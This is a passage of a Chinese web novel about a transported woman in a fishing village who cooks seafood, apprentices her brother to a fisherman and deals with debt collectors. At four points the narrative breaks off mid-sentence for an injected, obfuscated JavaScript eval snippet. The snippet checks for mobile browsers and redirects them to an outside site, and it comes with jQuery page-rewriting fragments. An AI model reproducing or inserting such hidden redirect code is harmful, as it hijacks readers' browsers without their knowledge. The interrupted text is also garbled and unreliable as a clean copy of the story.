她用勺子舀起一点成品,蚝油淅淅沥沥地流淌下来,拉丝不断,这浓稠度可谓是恰到好处。 浅尝一口,咸甜相交的独特风味在舌尖绽放,咂咂嘴,海蛎的鲜美萦绕在齿间,回味无穷。 云楚沅从后院摘了把生菜,开始做今日的晚饭。 油热下蒜,焯过水的生菜入锅,勺取蚝油,沿锅边淋下,红棕色的浓稠酱汁宛若淌金泻玉,遇热晕开,渗透进翠绿的菜叶之中,化作醇厚鲜甜之味。 添酱油和水,用木铲轻搅,汤汁沸腾,再用淀粉水勾芡,使每一片生菜皆裹上浓稠酱汁。 出锅装盘,生菜特意用筷子一根根叠放,翠色欲滴,再淋上裹着蒜末的汤汁,色泽油亮。 云楚沅从院子里的水缸捞出一网兜大虾,准备用新熬好的蚝油做道油焖大虾。 灶房里的云楚清忍不住用筷子偷夹了一根菜叶,眯着眼细嚼慢咽。 “小馋猫,味道如何?”一进门的云楚沅就看到她陶醉的表情,忍俊不禁地调侃道。 “嘿嘿,阿姐的手艺自是不必说,我没想到青菜也能如此好吃。”云楚清用指尖擦去嘴角的酱汁,塞进嘴里。 “啧,别吃手指。”云楚沅拍开她的手,“手上不干净,以后饭前都要净手。” “我晓得了,阿姐。”云楚清缩了缩肩膀,跑到院子里去打水了。 新油在锅中轻晃,泛起层层波纹,云楚沅将壳硬肉实的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950553|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大虾逐一投入热油之中,木铲轻翻,淋上调好的酱汁,大火收汁,直至汤汁浓稠挂壳,蚝油的加入使其变得红亮。 “清儿,走,我们去接楚河去。”云楚沅站在灶房门口端着一碗油焖虾,朝着云楚清唤道。 “阿姐,这碗虾是给谁的?春香姐吗?” 云楚沅点了点她的鼻子,说:“只惦记着你春香姐,那阿汤哥不必答谢了吗?” 云楚清吐了吐舌头,羞赧道:“自是要谢的。” 云楚沅一手端着虾,一手牵着小妹,有意地走向村里小孩常常玩耍的海滩处。 离着老远,云楚沅就看到刘家三兄弟正在揪一位小女孩的头发,都快将人欺负哭了。 一股鲜香咸甜的酱香味随风飘了过去。 “哇,什么味道?好香啊!”刘二海大声嚷嚷着,鼻子到处嗅闻。 “是她手里的东西!”刘大海很快发现了走过来的云楚沅,带着两个弟弟围了过去。 “是大虾,我要吃!我要吃!”眼尖的刘三海兴奋地叫道,用手扯着云楚沅的衣裙,蹦跳着去抓她手里的碗。 云楚沅直接无视了他们,屁股一扭,将三个小屁孩甩开。 她厌恶地看了眼裙摆上的黑手印,这几个顽童当真是惹人厌烦。 刘三海一时没站稳,摔了个屁股墩,他愣了一下,随即嚎啕大哭起来,“哇,我要吃虾!我要吃虾!臭女人,你不给我,我就叫我娘打死你!” 云楚沅始终没给他一个眼神,反而笑意盈盈地给了旁边的小女孩一只虾,“吓坏了吧,给你吃。” 女孩怯怯地接了过去,小声道:“谢谢云姐姐。” 云楚沅帮她整理了一下发髻,笑着说:“乖,去别处玩吧。” 女孩腼腆一笑,转身跑走了。 “哎呦,哪个天杀的欺负我的宝贝儿子!”一阵嚎叫声从远处传来。 云楚沅闻声望去,痴肥臃肿的妇人一颠一颠地奔了过来,搂住地上的刘三海。 “娘,这个臭娘们欺负我!”刘三海指向云楚沅。 刘母怒目圆瞪,大喊大叫:“好你个云楚沅,你娘死了,轮到你和我们家作对了?呸,我告诉你,赶紧给我儿子磕头赔罪,不然我扒了你的皮!” 周围听到嚷嚷声的村民靠了过来,显然是来瞧热闹的。 云楚沅一脸懵懂地问:“三海,你倒说说我怎么欺负你了?” 刘三海一见有人为他撑腰,双手掐腰,趾高气昂道:“你不给我吃虾!” 云楚沅轻笑出声:“噗嗤,刘婶,你们家拮据到如此地步了吗?要叫儿子出来讨食?若当真如此,您和村里人说一声,大伙儿一人施舍你家一顿饭,也好叫你养的起三个儿子。” 村民们顿时捧腹大笑。 “哈哈哈,老刘家的,家里揭不开锅跟我说,我家臭鱼烂虾多的是。” “是呀,你自己吃的这么肥,不管儿子呀?他们三个不是你的宝贝疙瘩吗?” 村里和刘婶不对付的人,立马奚落道。 刘婶面色铁青地拽了小儿子一把,“吃吃吃,就知道吃!我是短了你吃的吗?你非要向外人讨?” 在众人的嘲笑声中,刘家人灰溜溜地走了。 8. 小弟拜师 云楚河跟在阿汤的身后,从一条木船上下来,两人正提着一大网兜的毛虾往篓子里倾倒。 “阿汤哥,我都听清儿说了,多谢你对他们两个的关照。”云楚沅走上前说道,“这是我自己做的油焖大虾,你拿回去尝尝。” 阿汤有些不知所措,他已经很久没和村里的女郎说过话了,“不……不用。” 云楚河瞧着小妹不停地朝他使眼色,就知道他们和刘家兄弟有过节这事,阿姐已经知道了。 他觑了一眼云楚沅的脸色,讨好地冲她笑笑。 这事不想叫阿姐知晓,就是怕她担忧,他们云家在小渔村势单力薄,还是不要轻易得罪人为好。 而且他也不会吃亏,刘家三个小胖子哪里是他的对手,和他们打架,他专往别人看不见的地方下手狠掐。 云楚沅对云楚河嬉皮笑脸的样子视若无睹,这小子就会卖乖讨巧,得给他摆点脸色瞧瞧。 楚河和楚清两兄妹要是有个好歹,她会愧对已逝的云家人的。 云楚河见云楚沅不理自己,晓得阿姐这是恼他了,他凑上去轻轻摇晃云楚沅的手腕,“阿姐,我错了。” “回去再跟你算账。”云楚沅低头瞪了他一眼,又挂上笑容看向阿汤。 “阿汤哥,这皮小子跟你出海没少给你麻烦,这碗虾你就收下吧。而且我还有别的事儿想要麻烦你呢,你要是不收下,我都不好意思开口。” 她话都说到这个份上了,阿汤只好接了过去。 “有……何事?” 阿汤有些意外,竟有人想请他帮忙,毕竟村民们都对他避之不及,他估摸着云家女郎是要拜托他照看楚河吧。 那日听到刘家小子对云楚河的辱骂,一下子就让他回想起儿时的遭遇,别人嘲讽他是天煞孤星,他忍无可忍便动手了,结果就被人家爹娘收拾了一顿。 自那时起,他学会了收敛锋芒,只因孤子是没有话语权的,没有人在意他是否受欺负,也不会有人为他出头。 云楚河让他动了恻隐之心,遂对他多有照拂,甚至教他打渔之道,私下里这小子还会称他一声师傅,不过他没有应。 拜师这等大事需长辈的准许,云楚河终归还有一位长姐,人家不一定待见他这孑然一身之人。 “阿汤哥,我家承包了村里的废鱼塘,恰巧你就住在附近,我想雇你帮我清理一下,你放心,银钱不会少的。” 废鱼塘位于靠近山脚的地方,阿汤的家在村尾,正好离得近。 云楚沅养殖计划的第一步自然是要将鱼塘收拾干净,废鱼塘的水干涸了,但底下还有许多淤泥和腐物,她这细胳膊细腿的,委实干不来这等粗活,倒不如直接雇人来干。 踏实肯干还又话少的阿汤哥显然是不二人选。 倘若找村里其他人,定要被问东问西,她还记着上次钱婶说的话,不少妇人盯着她呢,若是她们跑来打听搞养殖的事,云楚沅实在懒得应付。 阿汤略一思索便应下了,清理鱼塘不是难事,只是费些力气罢了,他用过晚膳也没事做,两三日就能帮她弄干净。 云楚沅再次道谢,带着两个孩子离去,云楚河的篓子里装了满满的毛虾,阿汤哥还想再给他提一篓,被云楚沅婉拒了。 “错哪了?” 云家小院里,云楚沅双手抱在胸前,严肃地询问站在墙角的人。 “我不该和人打架。”云楚河双臂贴在身侧,昂着头一本正经地说道。 “不对,你错在遇到麻烦只想着自己担着,不告诉家里人,还把我蒙在鼓里!”云楚沅气愤道,“我们是一家人,有什么事应当一起解决。” 云楚河嘴角动了动,反驳的话刚想说出口。 “你觉得自己长大了,长姐管不了你了是吗?”云楚沅故意沉下脸。 “没有,我不是这个意思!”云楚河攥紧手心,一脸倔强,“我是男子汉,不是乳臭未干的小毛孩,该轮到我来保护你和小妹了。” 面前的男孩如初生的牛犊一般无所畏惧,他嘴唇紧抿,眉头紧皱,直勾勾地与云楚沅对视着,眼神里满是坚定。 云楚沅一时沉默了下来,也许她不该小觑一个孩子的决心和责任心。 双亲逝世,令他快速成长,他比谁都通透,懂得别人话中的冷嘲热讽,也明白自己该做什么。 这几日,小弟的早出晚归,她都看在眼里,为了学本事他在背地里吃了不少苦,云楚沅注意到,他的手上已经磨出了茧子。 也许,此刻的他需要的不是批评,而是来自家人的认可。 云楚沅脸色缓和,轻轻搂住这半点大的孩子,柔声说道:“是阿姐不好,我说错话了,楚河是最懂事的孩子。” 掌心触到的瘦弱肩膀微微颤抖起来,云楚沅用手轻拍着他的后背,无声安抚着。 过了一会,哽咽的声音从怀里传来,“阿姐没错,让你担忧本就是我的不是。” 云楚沅哭笑不得地说:“好好好,我们都有错。楚河,阿姐理解你,只是我想告诉你一个道理,想要教训人,不是非要用拳头。” “阿姐的意思是?”云楚河抹了把脸,迟疑地看向她。 云楚沅意味深长道:“还记得舅母的事吗?她那般折辱我,我还不是忍了一时,谋后而定。” “她是我的长辈,天然就压我一头,倘若我与她大打出手,有理也变得没理。有时候示弱不是惧怕的表现,而是以退为进。”云楚沅提点了两句。 云楚河若有所思,阿姐说的不无道理,他动手打人只会逞一时之快,若是刘家人事后找上门来,阿姐这柔弱的身子哪能扛得住。 “阿姐,是我考虑不周了。”云楚河惭愧地低下了头。 云楚沅揉了揉他的脑袋,叮嘱道:“以后不可莽撞行事,俗话说得好,君子报仇,十年不晚。你想对付人可以另想他法,不要留下把柄,更不要将自己置于险地。” 云楚河郑重地点头:“阿姐,我记下了,以后对付小人就要用小人的阴招,以彼之道,还施彼身。” 云楚沅噎了一下,尴尬地笑笑,弟弟,干嘛说的这么难听,那是策略!策略好吗! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950554|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >此时的云楚沅还不清楚,在耳濡目染下,她家天真的小弟以后会长成城府颇深的笑面虎,逢人便说,是他阿姐教诲的。 “对了阿姐,还有一事。我想拜阿汤哥为师,他要我先征得你的同意。”云楚河提起了另一桩事。 云楚沅颇感意外:“真的?你确定要拜阿汤为师吗?一日为师,终生为父。阿汤没有子嗣,以后说不准日后要你养老送终,你要考虑清楚。” “我想清楚了,阿汤哥对我倾囊相授,他虽是自学的捕捞,可丝毫不逊色于村里经验丰富的老手。” 云楚河并非一时兴起,他认真想过了,他们云家没有壮男丁,出了事也没人帮扶,不若认门干亲或拜个师傅,可以当做正儿八经的亲戚来往。 外冷内热、孤身一人的阿汤乃最佳人选,云楚河也不是成心算计人家,既要拜师,那必然是诚心诚意的,他以后会孝敬师傅的。 “既如此,那便依你,待阿汤为我清理完鱼塘后闲下来,我请他来我们家吃顿拜师宴,再请村长一起来做个见证。” 一晃两日过去。 云楚沅在灶间忙碌,手上动作不停,今日便是楚河行拜师礼的日子,她在准备丰盛的午膳。 海鲜大杂烩已经上桌,青菜和粉丝打底,铺上梭子蟹、大虾、花蛤等海鲜,用蒜蓉、酱油、蚝油、盐和糖调配灵魂酱汁,一锅炖煮起来省时省力。 晒干的虾皮派上了用处,虾皮煎豆腐和紫菜虾皮馄饨是即将登场的重头戏。 切成厚片的嫩豆腐裹上蛋液,沾满虾皮后小火慢煎。 薄薄的馄饨皮包入鲜肉馅,用手轻轻一捏,一只只小巧玲珑的馄饨便成型了。 锅中烧水,下入馄饨,不一会儿,它们便在水中翻腾着漂浮起来。 碗底放入干紫菜、干虾皮、酱油、蚝油、猪油、盐和葱花,一勺馄饨汤倒进去,所有调料皆化开,盛上小馄饨,就可以端出去了。 村长和阿汤已经坐在了桌边,楚河和楚清一个盛饭,一个取碗筷。 “二位久等了,咱们开吃吧。”云楚沅笑呵呵地招呼着客人动筷。 “楚沅啊,你的手艺是这个。”村长将所有菜尝了个遍,对着云楚沅竖起了大拇指。 早听闻云楚沅在县里卖吃食,可村长也想不到她做得这般好吃,简单的食材吃出了山珍海味的感觉。 村长心里欣慰,楚沅是个有本事的,云家也算是有出路了。 旁边的阿汤没说话,不停下筷的动作倒是能看出他对这顿饭也是很满意。 午膳过后,云楚河在村长的见证下给阿汤磕了个响头,云楚沅递上了两大桶鱼虾和一壶好酒。 他们渔民没那么多讲究,无需贵重的拜师礼,过得去便可。 “于汤,你和楚河既有这段师徒缘分,那便好生待他,这也算是半个儿子了。”村长语重心长道。 于汤点点头,将云楚河扶了起来,难得多说了两句,“楚河,我会待你视如己出,有困难尽管来找我。” 云楚沅心里头很高兴,小弟也算是多了一份倚仗。 9. 催债 鱼塘清理干净后,阿汤哥帮忙重新修缮了一番,将其用石料和土料分隔成四个区域,还在底部做了加固,避免池塘往外渗水。 浮萍、水草、藻类等水生植物,不仅能提供食物,还能改善水质,云楚沅把出海捕捞时抓到的鱼、虾、蟹、贝全都投入其中。 云楚沅将谷物、糟糠磨成细末,每日少量多次地投喂鱼虾们,楚河偶尔会抓些鱼虫、水蚤等活饵为它们加餐。 云楚河跟着阿汤出海了,云楚沅和小妹一起来鱼塘投喂饲料。 “阿姐,这条鱼模样真奇特。” 云楚清指着的是一条鮟鱇鱼,它长得奇丑无比,头顶挂着一个小灯笼。 鮟鱇鱼生活在深海,这次云楚沅出海远了些,意外捞到了一只,带回来让两个孩子见识见识。 “等楚河回来,我就把这鱼做了给你们吃。” “这么丑的鱼能好吃吗?”云楚清的脸上露出了嫌弃的表情。 “哼,既然你不喜欢,那阿姐就只做给楚河吃好了。”云楚沅慢条斯理道。 “啊,我不要,阿姐做什么都好吃!”云楚清冲着她撒娇。 云楚沅牵着小妹的手,有说有笑地走在回家的路上,隔着老远,就听见家门口传来一阵嘈杂声。 “开门呐!开门呐!你有钱修鱼塘,没钱还债吗?” 簇拥在云家门口的是林家人,他们家是小渔村的富户,为首之人是林家大儿媳钟兰花。 林家人丁兴旺,老太太总共生了五个儿子,各个都是打渔好手,他们家有两条大渔船,每回父子六人一同出海,都能赚笔大钱。 “兰花嫂子,你找我有什么事吗?”云楚沅快步走近,满脸疑惑地问道。 横眉冷竖的钟兰花咄咄逼人:“云楚沅,听说你卖吃食赚了不少钱,都有银子请人修船、修鱼塘了,怎么不见你还债呢?” 云楚沅这才明白林家人的来意,云家欠债的大头就是林家,足足欠了上百两银子,云楚沅手里不过刚攒下几十两银子,一时半会也还不清。 两道不怀好意的视线直直望向她,站在兰花嫂子身后的两名妇女拿眼斜着云楚沅。 “云楚沅,我可亲眼瞧见你的小摊子每日都有络绎不绝的人光顾。”林四嫂率先发难。 “村尾的阿汤给你修鱼塘不图钱图什么?莫非你二人有不可告人的关系?”林三嫂讥笑地打量着云楚沅。 林三嫂和林四嫂,一个混不吝的,一个好吃懒做,仗着家里不愁吃穿,整日不干活,和村里的长舌妇们聚在一起唠嗑,说东家长西家短,近日她们说得最多的闲话,就是和云家有关的事。 云楚沅恨不得撕了林三嫂的嘴,这婆娘不知道流言害人吗?子虚乌有的事,张口就来,这般恶意揣测,居心何在! “几位嫂子,你们误会了,阿汤哥是我家楚河的师傅,帮我们清理鱼塘是看在徒弟的面子上,可不图什么东西。”云楚沅压下火气,好声好气地解释。 “再者,我卖海鲜面就赚几文钱,我一个女儿家不会捕捞,海鲜都要问别家买,这成本高了自然赚不了多少银钱。”云楚沅可怜兮兮地说道,“更何况我还有两个弟弟妹妹要养活,实在是手头紧。” 她每次出海都会避着村民们,篓子也盖得严严实实,就怕她的特殊体质被有心之人发现,心生歹念。 “林家是咱们乡里出了名的良善人家,我想着你们会体谅我的做法的。”云楚沅不动声色地奉承着林家人,兰花嫂子的脸色肉眼可见地缓和下来。 “切,说得好听,那你还谁家的钱了?”林三嫂不依不饶。 她可不像大嫂那般好糊弄,总有人想从她手里抠银子,这种鬼话她听多了,自然不会被打动。 林四嫂附和道:“就是呀,要是人人都这么说,岂不是都不用还钱了?这不是把我们林家当冤大头吗?” 兰花嫂子听着两个弟妹的话,觉得很有道理,不禁眼神怀疑地看向云楚沅。 云楚沅淡定开口:“我先还了小周大夫的欠钱,他家母亲重病了,我自然要先还上他的欠债。” 小周大夫和寡母相依为命,他腿脚不好,做不了重活,只能从他爹的旧书上学了点草药知识,为村民医治些小伤小病,靠微薄的诊费来度日。 “口说无凭,谁知道你说的是真是假?”林四嫂不服气地嘟囔。 “林四嫂,你要是不信,可以现在去问问小周大夫,我人就在这,也没法和他串通。”云楚沅镇定自若地说道。 她没扯谎,前几日云楚河感染小风寒,她去找周大夫拿了副药,顺便还了二两银子。 兰花嫂子见她如此笃定,便信了七八分,待她们一同前去跟小周大夫确认过后,兰花嫂子彻底放下了心。 “楚沅啊,是嫂子误会了,只要你不是想赖账,我自是愿意宽限你一段时日,你一个女子养家也不容易。” 兰花嫂子抚着云楚沅白皙的手,慷慨解囊,“这样吧,楚沅,你还欠其他人多少钱?嫂子先帮你还上,以后你专心做生意,有钱了再还我,我们林家不差这点银子。” 云楚沅柳眉一挑,哇哦,没想到还有意外收获? 原本她还在纠结是先还欠债,还是先盘下一间铺子,这下好了,打瞌睡有人送枕头。 虱多不痒,债多不愁,既然林家不急着收债,那她手里的银子就可以用来开食肆了。 “兰花嫂子,怪不得旁人都夸你人美心善呢,你就是我的亲姊啊!妹妹有难,你是真帮啊!”云楚沅感动不已,热泪盈眶,用力紧握住钟兰花的手,上下摇晃。 钟兰花被她的甜言蜜语哄的找不着北,从荷包里掏出二十两银子,“妹子,你先拿着,不够再去我家问我要。” “兰花姐,你的大恩大德,妹妹无以为报呀,以后用得到我的地方,尽管开口。”云楚沅一点也不客气地收下了银子,拍着胸脯做出保证。 这承诺能不能兑现还是两说,但云楚沅摆出的态度叫钟兰花很是满意,“就冲你这句话,你这妹子我就认定了。走!上姐家吃饭去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950555|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 没两句话的功夫,云楚沅和钟兰花就像是相见恨晚一样,一口一个姊姊妹妹,亲热相称。 站在一旁的林三嫂和林四嫂傻眼了,就因为她们大嫂耳根子软,才被她俩撺掇着来找云楚沅要债,她们还想着收了债能分点银子花花呢。 这下好了,偷鸡不成蚀把米,银子没要到,还要搭进去二十两。 林三嫂颤颤巍巍地说:“嫂子,咱家的银子又不是大风刮来的,怎能如此轻易就借出去了?” 云楚沅眉眼带笑,轻启红唇:“林三嫂,前两日我还瞧见你带儿子去县里的湘香馆,点了一大桌子的招牌菜呢,想必是看不上这区区二十两。” 还没等钟兰花有什么反应,林四嫂就先怒不可遏,“什么?你哪来的钱去湘香馆?我都没去吃过!你真行,有好事的时候不叫我,诓大嫂来要债你倒是叫上我来了。” 林四嫂肺都要气炸了,林家小弟没娶妻,小妹尚待字闺中,所以他们还没分家,林家中馈由老太太和大嫂共同掌管。 她们其他房的媳妇想取银子,得要婆婆和大嫂的点头,二嫂是县城人,家境殷实,自然不在意这些,可她和老三家的就很憋屈,成日都得看婆婆和大嫂的脸色行事。 这次催债的主意是三嫂提起的,她顺势而为,没成想,老三家的心眼这么多,背地里胡吃海喝,办事时反而唆使她先出头。 “三嫂,你不仁就别怪我不义!”林四嫂气得脸色涨红,她对钟兰花说道:“大嫂,上次你丢的一两银子就是让老三家的偷走的。” 林三嫂脸色难看,她没想到四弟妹这么蠢,直接破罐子破摔将她的事抖落出来,既如此,也别怪她不客气了。 “四弟妹,说的像你没拿似的,你瞧见了也没告诉大嫂,反倒勒索了半两银子去,你与我半斤八两。” 林三嫂再次揭了她的老底,“上次厨房少的鸡腿,就是你偷吃的,还推到你女儿头上,当真是不要脸。” 两人宛如泼妇骂街一般,互相说起了对方的糗事。 钟兰花脸色难看,她没想到这两个弟妹如此不将她放在眼里,背后搞出这么多小动作,看来不给她们俩一个教训是不行了。 “行了,我看你们是日子过得太舒坦了,才会折腾出这么些幺蛾子。我会回家把这些事说与母亲听的,以后直至分家,你们两房就不必每月找我领银子了。”钟兰花一锤定音。 林三嫂和林四嫂像是被掐住脖子的鸭子,脸色灰败,骤然停止了叽叽喳喳的吵闹声。 林老太太平日里就很不满意这两个儿媳,经常挑她们的刺,林家儿子又非常孝顺,不会忤逆老娘,老太太不顺心了、数落儿媳,他们屁都不会放一个。 相反,钟兰花是林老太太亲自挑的大儿媳,还是她娘家的远方亲戚,婆媳关系那是相当好,钟兰花在林家算是说一不二。 “云妹子,对不住了,我还有家事要处理,先行一步了,改日再请你到家里做客。”钟兰花说完,提溜着两个弟妹的耳朵离开了。 10. 酱烧鮟鱇鱼 云楚沅用鱼塘搞养殖一事,经过林三嫂和林四嫂的大肆宣扬,搞得小渔村人尽皆知。 村民们纷纷前去围观,又碍于门神似的阿汤的冷脸,都不敢靠太近。 他们已经从林家人的口中得知,阿汤收了云楚河做徒弟,于汤这小子能一个人摸爬滚打地长大,可不是个善茬。 不少渔民都见过几年前阿汤在海上智斗鲛鲨的场景,印象深刻。 那时的阿汤宛如凶神恶煞的厉鬼,一边用双脚稳住木船,避免被鲛鲨掀翻,一边用鱼叉狠狠刺入鲛鲨的身躯,一人一鲨的激战惊心动魄。 最后,阿汤以满身的深可见骨的伤痕,换来了胜利,远处小心观望的同村人,见鲛鲨死了,才敢过去将重伤昏迷的阿汤救下。 自那时起,村里便没有人敢找阿汤麻烦,大家见了他都绕道走。 如今阿汤常挂在腰间的匕首,就是用当年杀死的那只鲛鲨的皮做成的刀鞘。 “师傅,这些鱼都收拾好了,我先回家了。” 云楚河甩了甩手上的血水,他每日跟着阿汤捕捞回来后,会帮着卸货,再学学宰杀活鱼的技巧。 用钝器敲击鱼头将其敲晕,再用刀锋逆向刮去鱼鳞,挖去鱼鳃,划开鱼肚去内脏时要避免弄破鱼胆。 学了几日后,他的刀工已经十分精湛,以后阿姐做海鲜时,他也能为她打下手了。 “楚河,这两条鱼你拿回去吧,叫你长姐给你做鱼汤补补。”阿汤挑了两条最大的黄花鱼,递给云楚河。 云楚河接过后,欢天喜地地跑走了,心想,这师傅拜得太值了! “阿姐!阿姐,我回来啦!” 在灶房生火的云楚沅,老远就听见了自家小弟的大嗓门,她摇头失笑,这孩子总是这样风风火火的,也不知又碰上什么好事了。 “阿姐,瞧我带回了什么。”云楚河蹭的一下跨过厨房门槛,扬了扬手里提着的用草绳系起来的两条肥鱼。 “哟,这大黄花鱼是你捞来的?”云楚沅伸手接过鱼,掂量了一下,嘿,忒沉。 云楚河嘿嘿笑道:“是我和师傅一起捞的。” 云楚沅翻了个白眼:“少来了,就你这点小力气,顶多也就帮你师傅扯扯渔网。” 云楚河不服气地撸起袖子,大声说道:“阿姐,我胳膊上的肉可是紧实了许多。” “我瞧着也没二两肉,你有没有变壮我不知道,但你倒是黑了不少。”云楚沅调笑道。 “哼!”云楚河撅着嘴放下袖子,“师傅说要你给我补补身子呢,肯定是我平日里吃的不够多。” 他回忆起阿姐的好厨艺,殷勤地开口:“阿姐,今日晚膳做什么好吃的?我要多吃两碗。” 云楚沅端起桌上的木盆叫他朝里面看。 云楚河好奇地探头,瞧清后又吓得后退两步,“这是什么怪物!” “小弟,你不是扬言要吃两大碗吗?见了它的真容,还有胃口吗?”云楚沅促狭一笑。 云楚河脸色纠结,最终还是决定选择相信阿姐的手艺,“我要吃!不过这鱼的脑袋上是什么东西?”他用手拨了拨鮟鱇鱼头上的小灯笼。 “这个小灯笼能发光,是鮟鱇鱼用来吸引海里的小鱼的,引诱它们上当,再吃掉它们。”云楚沅把鱼放置到案板上,准备处理它。 云楚河自告奋勇:“阿姐,让我来处理这条丑鱼。” “把它的牙齿剪掉,清除内脏时留下鱼肝和鱼肚,这两样是精华。”云楚沅在一旁指导。 面色严肃的云楚河仿佛要完成一件大事,他磨刀霍霍,剪开鱼皮,开膛破肚,剔除内脏,手上动作一气呵成,看得云楚沅眼花撩乱。 “不错嘛,小弟学有所成呀。” 云楚河一脸骄傲地仰起头,“阿姐,以后你做鱼,我来帮你杀。” “好,你先出去和清儿玩一会吧,阿姐给你们做酱烧鮟鱇鱼,保准你吃了香到吞舌头。” 云楚沅将鱼肉切成块,加姜片焯水去腥,冷水将其冲洗沥干。 待锅中的油温升高,云楚沅将剁好的鱼块小心翼翼地放入锅中。鱼肉与热油碰撞,发出“嗞啦滋啦”的声响,鱼身渐渐变成金黄,散发出诱人的香味。 这时,云楚沅将提前备好的葱段、姜片、蒜瓣倒入锅中,让它们辛辣的气味在热油中释放出来,和鱼肉的鲜香交织在一起,发生奇妙的反应。 云楚沅舀两勺黄豆酱放入陶碗中,加入酱油和豉汁用来增鲜上色,再添少许黄酒去腥,把所有醇厚的调味料搅和均匀,缓缓倒入锅中。 刹那间,一股酱香弥漫开来,浓郁的汤汁包裹着鮟鱇鱼,仿佛为鱼肉块披上了一层深色外衣。 小火慢炖,让鮟鱇鱼充分吸收酱汁的浓郁味道,使每一丝鱼肉都浸透进汤汁。在此期间,云楚沅会不停地翻动鱼块,确保其受热均匀,彻底入味。 随着时间的流逝,锅中的汤汁渐渐变得浓稠,紧紧地吸附在鱼肉上,透出油亮诱人的光泽。临出锅前,撒上一把翠绿的葱花点缀,为这道美味佳肴收个尾。 “小弟,小妹,开饭了!” 灶房传出一道嗓音轻柔的吆喝声,云楚清赶紧收起针线,云楚河一把丢开劈柴的斧头,两人动作整齐划一地奔向水缸前,打水洗手。 “哟,你们两个还挺自觉。”走出来的云楚沅瞧见两人乖乖听话,严格遵循饭前洗手的规矩,心里十分欣慰。 穿越到这个小渔村,云楚沅觉得最幸运的事,莫过于多了两个懂事贴心的弟弟妹妹。 她在现代时是家里最小的孩子,向来是被照顾的那个,鲜少有需要她照顾别人的时候,如今也算是体验了一把当家做主的感觉。 想到穿越前的家庭,云楚沅情绪有些失落,这段时日的忙碌,让她刻意回避了一个问题。 她在现代的身体应该是一命呜呼,老天眷顾她,让她有了重活一世的机会,只不过怕是要让家人伤心难过了。 唉,希望父母一切安康,只能靠哥哥姐姐们替她尽孝心了。 “阿姐,你怎么了?”云楚河正等着阿姐先动筷,一下子注意到长姐不太对劲,仿佛有什么伤心事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950556|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 云楚沅勉强笑了笑:“没什么,刚才有沙子吹进眼里了,快吃吧。” 云楚河不明所以地挠了挠头,咱们家不是离海滩有段距离吗?今儿个也没有大风,沙子都能吹到这儿来了吗? 想不出所以然,他的心思又放到桌上的吃食上了。 这道酱烧鮟鱇鱼,色泽红亮,酱香扑鼻。 云楚河夹起一块鱼肉放入口中,细细品尝,鮟鱇鱼的肉紧实而不柴,入口即化,酱汁的浓郁与鱼肉的鲜甜巧妙融合,仿佛在舌尖上放了一场盛大的味觉烟花。 大海的馈赠与绝佳的手艺完美结合,在这一口之中达到了极致。 “这鮟鱇鱼长得丑,味道却很不错。”云楚清吃得欢快,已然对它的外貌释怀了。 云楚河赞同道:“人不可貌相,鱼也是。” 云楚沅对他们俩这副有奶就是娘的样子忍俊不禁,不是他们嫌弃的时候了。 “鮟鱇鱼的鱼肚和鱼肝也很好吃,你们尝尝。”云楚沅给他们一人夹了一块,鱼肚有嚼劲,鱼肝细腻鲜美,这两样东西的营养价值也很高。 “楚河,你不是想补一补吗?多吃些鱼肚和鱼肝。” 云楚河一听,赶紧多夹了两块,他想长成阿汤师傅那样,有一身黝黑的腱子肉,看起来就身强体壮的。 用过晚饭后,云楚清回到屋里绣起了手帕,云楚河一溜烟跑出了家门,不知干什么去了。 云楚沅闲来无事,决定将那两条杀好的大黄花鱼腌起来,毕竟一时半会吃不完,放坏了就不好了。 黄花鱼的鱼身和腹腔都涂抹上粗盐,肉厚的鱼背处需要充分覆盖,将其悬挂于通风的阴凉处,晾个两三天就差不多能腌好。 晚间入睡前,云楚沅坐在桌前,点着蜡烛,仔细数着存放在瓦罐里的银子,总共五十二两,想要盘下县城里的一间店铺,绰绰有余。 如今,他们家的欠债都在林家身上,共计一百五十两,待开了食肆之后,她有信心能尽快还上。 